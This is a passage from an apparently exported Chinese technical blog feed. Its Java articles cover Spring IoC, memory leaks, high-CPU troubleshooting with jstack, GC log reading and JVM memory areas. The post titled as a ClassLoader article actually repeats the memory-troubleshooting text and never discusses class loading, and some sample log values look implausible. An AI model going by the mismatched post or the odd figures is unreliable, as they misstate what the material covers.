class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="comment">// 销毁逻辑</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-依赖解析"><a href="#3-依赖解析" class="headerlink" title="3. 依赖解析"></a>3. 依赖解析</h2><p>容器自动解析依赖关系，解决循环依赖问题：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// A 依赖 B，B 依赖 A</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">BeanA</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> BeanB beanB;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">BeanA</span><span class="params">(BeanB beanB)</span> &#123; <span class="built_in">this</span>.beanB = beanB; &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">BeanB</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> BeanA beanA;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">BeanB</span><span class="params">(BeanA beanA)</span> &#123; <span class="built_in">this</span>.beanA = beanA; &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-配置灵活"><a href="#4-配置灵活" class="headerlink" title="4. 配置灵活"></a>4. 配置灵活</h2><p>支持多种配置方式：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 注解方式</span></span><br><span class="line"><span class="meta">@ConfigurationProperties(prefix = &quot;app&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AppProperties</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> String name;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> timeout;</span><br><span class="line">    <span class="comment">// getters/setters</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// YAML 配置</span></span><br><span class="line"><span class="comment">// app:</span></span><br><span class="line"><span class="comment">//   name: my-app</span></span><br><span class="line"><span class="comment">//   timeout: 30</span></span><br></pre></td></tr></table></figure><h2 id="为什么需要-IoC？"><a href="#为什么需要-IoC？" class="headerlink" title="为什么需要 IoC？"></a>为什么需要 IoC？</h2><ol><li><strong>可测试性</strong>：轻松进行单元测试，Mock 依赖</li><li><strong>可维护性</strong>：降低耦合，代码更易维护</li><li><strong>可扩展性</strong>：方便替换实现，支持多环境</li><li><strong>集中管理</strong>：统一管理对象生命周期和配置</li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>IoC 不是什么高深的技术，它只是一种设计思想。核心就是”把对象的创建和管理交给容器，让代码专注于业务逻辑”。理解这一点，就能明白为什么 Spring 框架能成为 Java 生态的核心。</p><p>写这篇文章时，我特意翻了 Spring 的源码，发现 IoC 容器的实现比想象中复杂得多。但作为使用者，我们只需要理解它解决的问题，就能更好地运用它。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>依赖注入实现了控制反转，把对象创建的控制权交给容器</p></li><li><p>构造器注入优于字段注入，能保证依赖的不可变性和非空性</p></li><li><p>IoC 容器提供了对象生命周期管理、依赖解析、配置管理等能力</p></li><li><p>通过 @Autowired 或 @Resource 注解实现依赖注入，前者按类型，后者按名称</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>IoC 不仅是一种技术实现，更是一种设计理念。它让代码更易测试、更易维护、更具扩展性。理解 IoC 有助于更好地设计和架构 Spring 应用。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>内存溢出和内存泄漏排查流程</title>
      <link href="//nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/"/>
      <url>//nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="内存溢出和内存泄漏排查流程"><a href="#内存溢出和内存泄漏排查流程" class="headerlink" title="内存溢出和内存泄漏排查流程"></a>内存溢出和内存泄漏排查流程</h1><p>内存溢出和内存泄漏在 Java 项目中并不少见。本文讲排查流程和常见原因。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>线上 CPU 飙高排查：Java 问题定位实战</title>
      <link href="//xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/"/>
      <url>//xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="线上-CPU-飙高排查：Java-问题定位实战"><a href="#线上-CPU-飙高排查：Java-问题定位实战" class="headerlink" title="线上 CPU 飙高排查：Java 问题定位实战"></a>线上 CPU 飙高排查：Java 问题定位实战</h1><p>线上服务 CPU 飙高是常见问题，定位起来往往比较棘手。今天分享一下我的排查流程，帮你快速定位问题。</p><h2 id="排查流程"><a href="#排查流程" class="headerlink" title="排查流程"></a>排查流程</h2><h3 id="第一步：定位问题进程"><a href="#第一步：定位问题进程" class="headerlink" title="第一步：定位问题进程"></a>第一步：定位问题进程</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看 CPU 使用率高的进程</span></span><br><span class="line">top</span><br><span class="line"></span><br><span class="line"><span class="comment"># 或者使用 ps</span></span><br><span class="line">ps aux --<span class="built_in">sort</span>=-%cpu | <span class="built_in">head</span> -10</span><br></pre></td></tr></table></figure><h3 id="第二步：定位问题线程"><a href="#第二步：定位问题线程" class="headerlink" title="第二步：定位问题线程"></a>第二步：定位问题线程</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看进程中 CPU 使用率高的线程</span></span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 或者使用 ps</span></span><br><span class="line">ps -Lfp &lt;pid&gt; | <span class="built_in">sort</span> -k 6 -r | <span class="built_in">head</span> -10</span><br></pre></td></tr></table></figure><h3 id="第三步：转换线程-ID"><a href="#第三步：转换线程-ID" class="headerlink" title="第三步：转换线程 ID"></a>第三步：转换线程 ID</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 将线程 ID 转换为十六进制</span></span><br><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br></pre></td></tr></table></figure><h3 id="第四步：查看线程堆栈"><a href="#第四步：查看线程堆栈" class="headerlink" title="第四步：查看线程堆栈"></a>第四步：查看线程堆栈</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看指定线程的堆栈信息</span></span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h3 id="第五步：分析问题代码"><a href="#第五步：分析问题代码" class="headerlink" title="第五步：分析问题代码"></a>第五步：分析问题代码</h3><p>根据堆栈信息定位到问题代码，常见原因包括：</p><ul><li>死循环</li><li>频繁的正则匹配</li><li>大量同步操作</li><li>GC 频繁</li></ul><h2 id="实战案例"><a href="#实战案例" class="headerlink" title="实战案例"></a>实战案例</h2><p><strong>案例</strong>：线上服务 CPU 使用率突然飙升到 100%</p><p><strong>排查过程</strong>：</p><ol><li><p><strong>定位进程</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">top</span><br><span class="line"><span class="comment"># 发现 java 进程 PID 为 12345，CPU 使用率 99%</span></span><br></pre></td></tr></table></figure></li><li><p><strong>定位线程</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">top -Hp 12345</span><br><span class="line"><span class="comment"># 发现线程 TID 为 12350，CPU 使用率 95%</span></span><br></pre></td></tr></table></figure></li><li><p><strong>转换线程 ID</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> 12350</span><br><span class="line"><span class="comment"># 输出：303e</span></span><br></pre></td></tr></table></figure></li><li><p><strong>查看堆栈</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jstack 12345 | grep -A 30 <span class="string">&#x27;0x303e&#x27;</span></span><br></pre></td></tr></table></figure></li></ol><p><strong>堆栈信息</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&quot;http-nio-8080-exec-10&quot; #10 daemon prio=5 os_prio=0 tid=0x00007f9e80001000 nid=0x303e runnable [0x00007f9e78f75000]</span><br><span class="line">   java.lang.Thread.State: RUNNABLE</span><br><span class="line">        at java.util.regex.Pattern$GroupHead.match(Pattern.java:4660)</span><br><span class="line">        at java.util.regex.Pattern$Loop.match(Pattern.java:4791)</span><br><span class="line">        at java.util.regex.Pattern$GroupTail.match(Pattern.java:4697)</span><br><span class="line">        at java.util.regex.Pattern$CharProperty.match(Pattern.java:3777)</span><br><span class="line">        ...</span><br><span class="line">        at com.example.service.UserService.validateEmail(UserService.java:45)</span><br></pre></td></tr></table></figure><ol start="5"><li><strong>定位问题代码</strong>：</li></ol><p>查看 <code>UserService.java</code> 第 45 行：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">validateEmail</span><span class="params">(String email)</span> &#123;</span><br><span class="line">    <span class="comment">// 问题代码：使用了低效的正则表达式</span></span><br><span class="line">    <span class="keyword">return</span> email.matches(<span class="string">&quot;^[a-zA-Z0-9_.-]+@[a-zA-Z0-9-]+\\.[a-zA-Z0-9-.]+$&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>原因</strong>：正则表达式存在回溯问题，某些输入会导致大量计算。</p><p><strong>解决方案</strong>：优化正则表达式或使用预编译的 Pattern。</p><h2 id="常见问题类型"><a href="#常见问题类型" class="headerlink" title="常见问题类型"></a>常见问题类型</h2><h3 id="1-死循环"><a href="#1-死循环" class="headerlink" title="1. 死循环"></a>1. 死循环</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 问题代码</span></span><br><span class="line"><span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">    <span class="keyword">if</span> (condition) &#123;</span><br><span class="line">        <span class="keyword">break</span>; <span class="comment">// condition 永远为 false</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-正则表达式回溯"><a href="#2-正则表达式回溯" class="headerlink" title="2. 正则表达式回溯"></a>2. 正则表达式回溯</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 问题代码：灾难性回溯</span></span><br><span class="line"><span class="type">String</span> <span class="variable">regex</span> <span class="operator">=</span> <span class="string">&quot;^(a+)+$&quot;</span>;</span><br><span class="line"><span class="string">&quot;aaaaaaaaaaaaaab&quot;</span>.matches(regex); <span class="comment">// 长时间不返回</span></span><br></pre></td></tr></table></figure><h3 id="3-大量同步操作"><a href="#3-大量同步操作" class="headerlink" title="3. 大量同步操作"></a>3. 大量同步操作</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 问题代码：频繁获取锁</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">synchronized</span> <span class="keyword">void</span> <span class="title function_">process</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="comment">// 执行时间很长的操作</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="4-GC-频繁"><a href="#4-GC-频繁" class="headerlink" title="4. GC 频繁"></a>4. GC 频繁</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 问题代码：频繁创建大对象</span></span><br><span class="line"><span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">    <span class="type">byte</span>[] data = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">1024</span> * <span class="number">1024</span>]; <span class="comment">// 1MB 对象</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="预防措施"><a href="#预防措施" class="headerlink" title="预防措施"></a>预防措施</h2><h3 id="1-代码审查"><a href="#1-代码审查" class="headerlink" title="1. 代码审查"></a>1. 代码审查</h3><ul><li>避免在循环中做复杂计算</li><li>使用高效的正则表达式</li><li>注意同步代码块的范围</li></ul><h3 id="2-监控告警"><a href="#2-监控告警" class="headerlink" title="2. 监控告警"></a>2. 监控告警</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 使用 Prometheus + Grafana 监控</span></span><br><span class="line"><span class="comment"># 设置 CPU 使用率告警阈值</span></span><br></pre></td></tr></table></figure><h3 id="3-压测验证"><a href="#3-压测验证" class="headerlink" title="3. 压测验证"></a>3. 压测验证</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 使用 JMeter 或 k6 进行压测</span></span><br><span class="line"><span class="comment"># 模拟高并发场景</span></span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>CPU 飙高问题排查的关键是：</p><ol><li>快速定位问题进程和线程</li><li>分析线程堆栈找到问题代码</li><li>结合业务逻辑分析根本原因</li></ol><p>写这篇文章时，我特意整理了几个线上问题的排查案例。遇到问题不要慌，按照流程一步步排查，总能找到原因。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ClassLoader 双亲委派模型实践理解</title>
      <link href="//classloader-shuang-qin-wei-pai-mo-xing-shi-jian-li-jie/"/>
      <url>//classloader-shuang-qin-wei-pai-mo-xing-shi-jian-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="ClassLoader-双亲委派模型实践理解"><a href="#ClassLoader-双亲委派模型实践理解" class="headerlink" title="ClassLoader 双亲委派模型实践理解"></a>ClassLoader 双亲委派模型实践理解</h1><p>双亲委派模型是 Java 类加载的核心。本文讲它的原理和实际应用。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>GC 日志实战分析：从入门到精通</title>
      <link href="//gc-ri-zhi-zen-me-kan-cai-you-yong/"/>
      <url>//gc-ri-zhi-zen-me-kan-cai-you-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="GC-日志实战分析：从入门到精通"><a href="#GC-日志实战分析：从入门到精通" class="headerlink" title="GC 日志实战分析：从入门到精通"></a>GC 日志实战分析：从入门到精通</h1><p>GC 日志看起来乱，关键是找准几个核心指标。很多开发者面对 GC 日志不知道该关注什么。本文从实际调优经验出发，讲需要关注什么、忽略什么，帮你快速定位问题。</p><h2 id="第一步：开启-GC-日志"><a href="#第一步：开启-GC-日志" class="headerlink" title="第一步：开启 GC 日志"></a>第一步：开启 GC 日志</h2><p>在 JVM 启动参数中添加：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -Xms2g -Xmx2g \</span><br><span class="line">  -XX:+PrintGCDetails \</span><br><span class="line">  -XX:+PrintGCDateStamps \</span><br><span class="line">  -XX:+PrintGCTimeStamps \</span><br><span class="line">  -Xloggc:gc.log \</span><br><span class="line">  -XX:+UseGCLogFileRotation \</span><br><span class="line">  -XX:NumberOfGCLogFiles=5 \</span><br><span class="line">  -XX:GCLogFileSize=100M \</span><br><span class="line">  -jar app.jar</span><br></pre></td></tr></table></figure><h2 id="GC-日志格式解析"><a href="#GC-日志格式解析" class="headerlink" title="GC 日志格式解析"></a>GC 日志格式解析</h2><p>#</p><h2 id="Young-GC-日志"><a href="#Young-GC-日志" class="headerlink" title="Young GC 日志"></a>Young GC 日志</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">2026-01-10T10:33:37.123+0800: 123.456: [GC (Allocation Failure) [PSYoungGen: 153600K-&gt;10240K(179200K)] 153600K-&gt;10304K(204800K), 0.0123450 secs] [Times: user=0.02 sys=0.01, real=0.01 secs]</span><br></pre></td></tr></table></figure><p><strong>字段解读</strong>：</p><ul><li><code>123.456</code>：JVM 启动后的秒数</li><li><code>GC (Allocation Failure)</code>：GC 原因（年轻代空间不足）</li><li><code>PSYoungGen: 153600K-&gt;10240K(179200K)</code>：年轻代回收前→回收后（总大小）</li><li><code>153600K-&gt;10304K(204800K)</code>：整个堆回收前→回收后（总大小）</li><li><code>0.0123450 secs</code>：GC 耗时</li></ul><p>#</p><h2 id="Full-GC-日志"><a href="#Full-GC-日志" class="headerlink" title="Full GC 日志"></a>Full GC 日志</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">2026-01-10T10:35:45.678+0800: 291.789: [Full GC (Metadata GC Threshold) [PSYoungGen: 16384K-&gt;0K(179200K)] [ParOldGen: 458752K-&gt;458752K(524288K)] 475136K-&gt;458752K(703488K), [Metaspace: 2097152K-&gt;2097152K(2147483648K)], 0.5678900 secs] [Times: user=1.23 sys=0.05, real=0.57 secs]</span><br></pre></td></tr></table></figure><p><strong>字段解读</strong>：</p><ul><li><code>Full GC (Metadata GC Threshold)</code>：Full GC 原因（元空间不足）</li><li><code>ParOldGen: 458752K-&gt;458752K(524288K)</code>：老年代回收前后大小</li><li><code>Metaspace: 2097152K-&gt;2097152K(...)</code>：元空间大小</li></ul><h2 id="关键指标关注"><a href="#关键指标关注" class="headerlink" title="关键指标关注"></a>关键指标关注</h2><p>#</p><h2 id="1-GC-频率"><a href="#1-GC-频率" class="headerlink" title="1. GC 频率"></a>1. GC 频率</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 统计 GC 次数</span></span><br><span class="line">grep <span class="string">&quot;GC (&quot;</span> gc.log | <span class="built_in">wc</span> -l</span><br><span class="line"></span><br><span class="line"><span class="comment"># 统计 Full GC 次数</span></span><br><span class="line">grep <span class="string">&quot;Full GC&quot;</span> gc.log | <span class="built_in">wc</span> -l</span><br></pre></td></tr></table></figure><ul><li><strong>年轻代 GC</strong>：每秒几次是正常的</li><li><strong>Full GC</strong>：应该很少发生，频繁 Full GC 需要关注</li></ul><p>#</p><h2 id="2-GC-停顿时间"><a href="#2-GC-停顿时间" class="headerlink" title="2. GC 停顿时间"></a>2. GC 停顿时间</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 提取所有 GC 耗时</span></span><br><span class="line">grep -o <span class="string">&quot;real=[0-9.]*&quot;</span> gc.log | awk -F= <span class="string">&#x27;&#123;sum+=$2&#125; END &#123;print sum/NR&#125;&#x27;</span></span><br></pre></td></tr></table></figure><ul><li><strong>年轻代 GC</strong>：应该在毫秒级别</li><li><strong>Full GC</strong>：应该控制在 100ms 以内（根据业务要求调整）</li></ul><p>#</p><h2 id="3-内存变化趋势"><a href="#3-内存变化趋势" class="headerlink" title="3. 内存变化趋势"></a>3. 内存变化趋势</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 观察堆内存变化</span></span><br><span class="line">grep <span class="string">&quot;PSYoungGen&quot;</span> gc.log | awk <span class="string">&#x27;&#123;print $3&#125;&#x27;</span></span><br></pre></td></tr></table></figure><p>如果每次 GC 后老年代持续增长，可能存在内存泄漏。</p><h2 id="常见问题分析"><a href="#常见问题分析" class="headerlink" title="常见问题分析"></a>常见问题分析</h2><p>#</p><h2 id="问题-1：频繁-Full-GC"><a href="#问题-1：频繁-Full-GC" class="headerlink" title="问题 1：频繁 Full GC"></a>问题 1：频繁 Full GC</h2><p><strong>现象</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">2026-01-10T10:30:00.000+0800: 100.000: [Full GC ...</span><br><span class="line">2026-01-10T10:30:05.000+0800: 105.000: [Full GC ...</span><br><span class="line">2026-01-10T10:30:10.000+0800: 110.000: [Full GC ...</span><br></pre></td></tr></table></figure><p><strong>可能原因</strong>：</p><ul><li>老年代空间不足</li><li>元空间不足</li><li>显式调用 <code>System.gc()</code></li><li>大对象直接进入老年代</li></ul><p><strong>解决方案</strong>：</p><ul><li>增加堆内存：<code>-Xmx</code></li><li>检查是否有大对象分配</li><li>排查内存泄漏</li></ul><p>#</p><h2 id="问题-2：GC-停顿时间过长"><a href="#问题-2：GC-停顿时间过长" class="headerlink" title="问题 2：GC 停顿时间过长"></a>问题 2：GC 停顿时间过长</h2><p><strong>现象</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">[Times: user=2.34 sys=0.12, real=2.45 secs]</span><br></pre></td></tr></table></figure><p><strong>解决方案</strong>：</p><ul><li>使用 CMS 或 G1 收集器</li><li>调整新生代和老年代比例</li><li>减少单次 GC 处理的数据量</li></ul><p>#</p><h2 id="问题-3：内存泄漏"><a href="#问题-3：内存泄漏" class="headerlink" title="问题 3：内存泄漏"></a>问题 3：内存泄漏</h2><p><strong>现象</strong>：</p><ul><li>老年代持续增长</li><li>Full GC 后内存回收很少</li><li>最终导致 OOM</li></ul><p><strong>排查方法</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 导出堆快照</span></span><br><span class="line">jmap -dump:format=b,file=heap.hprof &lt;pid&gt;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 分析堆快照（使用 MAT 或 VisualVM）</span></span><br></pre></td></tr></table></figure><h2 id="实战案例"><a href="#实战案例" class="headerlink" title="实战案例"></a>实战案例</h2><p><strong>案例</strong>：接口响应变慢，GC 日志显示频繁 Full GC</p><p><strong>分析步骤</strong>：</p><ol><li>查看 GC 日志，确认 Full GC 频率</li><li>分析老年代内存变化趋势</li><li>使用 <code>jmap -histo</code> 查看大对象</li><li>使用 <code>jstack</code> 查看线程状态</li><li>定位到问题代码（缓存没有正确清理）</li></ol><p><strong>解决方案</strong>：优化缓存策略，添加过期机制。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>GC 日志分析是 JVM 调优的必备技能。关键是理解日志格式，关注 GC 频率、停顿时间和内存变化趋势。遇到问题时，先收集足够的信息，再针对性优化。</p><p>写这篇文章时，我特意整理了几个线上问题的分析案例。实践经验比理论知识更重要，多分析真实的 GC 日志才能真正掌握这项技能。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>关注 Minor GC 和 Full GC 的频率和耗时</p></li><li><p>年轻代晋升到老年代的对象大小和频率</p></li><li><p>GC 前后的内存使用变化</p></li><li><p>使用 jstat、jmap、jvisualvm 等工具辅助分析</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>GC 调优是一个持续的过程，没有一劳永逸的方案。需要结合业务特点、数据量、响应时间要求来调整。理解 GC 日志是调优的第一步。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>JVM 内存区域详解：从结构到问题排查</title>
      <link href="//jvm-nei-cun-qu-yu-cong-ru-men-dao-pai-cha/"/>
      <url>//jvm-nei-cun-qu-yu-cong-ru-men-dao-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="JVM-内存区域详解：从结构到问题排查"><a href="#JVM-内存区域详解：从结构到问题排查" class="headerlink" title="JVM 内存区域详解：从结构到问题排查"></a>JVM 内存区域详解：从结构到问题排查</h1><p>JVM 内存布局是排查线上问题的基础。很多开发者遇到 OutOfMemoryError 时不知道从哪里入手。本文结合实际案例，讲清楚各区域的作用和常见异常，帮你建立排查思路。</p><h2 id="JVM-内存区域划分"><a href="#JVM-内存区域划分" class="headerlink" title="JVM 内存区域划分"></a>JVM 内存区域划分</h2><p>JVM 内存主要分为以下几个区域：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">JVM 内存结构</span><br><span class="line">├── 堆（Heap）- 所有线程共享</span><br><span class="line">│   ├── 年轻代（Young Generation）</span><br><span class="line">│   │   ├── Eden 区</span><br><span class="line">│   │   ├── Survivor 0 区</span><br><span class="line">│   │   └── Survivor 1 区</span><br><span class="line">│   └── 老年代（Old Generation）</span><br><span class="line">├── 方法区（Method Area）- 所有线程共享</span><br><span class="line">│   └── 运行时常量池</span><br><span class="line">├── 程序计数器（Program Counter Register）- 线程私有</span><br><span class="line">├── Java 虚拟机栈（Java Virtual Machine Stack）- 线程私有</span><br><span class="line">└── 本地方法栈（Native Method Stack）- 线程私有</span><br></pre></td></tr></table></figure><h2 id="各区域详解"><a href="#各区域详解" class="headerlink" title="各区域详解"></a>各区域详解</h2><p>#</p><h2 id="1-堆（Heap）"><a href="#1-堆（Heap）" class="headerlink" title="1. 堆（Heap）"></a>1. 堆（Heap）</h2><p>堆是 JVM 中最大的一块内存，用于存储对象实例。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 示例：对象分配在堆上</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">createUser</span><span class="params">(String name)</span> &#123;</span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">User</span>(); <span class="comment">// 在堆上分配</span></span><br><span class="line">        user.setName(name);</span><br><span class="line">        <span class="keyword">return</span> user;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>年轻代 vs 老年代</strong>：</p><ul><li><strong>年轻代</strong>：存放新创建的对象，GC 频率高</li><li><strong>老年代</strong>：存放存活时间长的对象，GC 频率低</li></ul><p>#</p><h2 id="2-方法区（Method-Area）"><a href="#2-方法区（Method-Area）" class="headerlink" title="2. 方法区（Method Area）"></a>2. 方法区（Method Area）</h2><p>方法区用于存储类信息、常量、静态变量等。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 静态变量存放在方法区</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AppConfig</span> &#123;</span><br><span 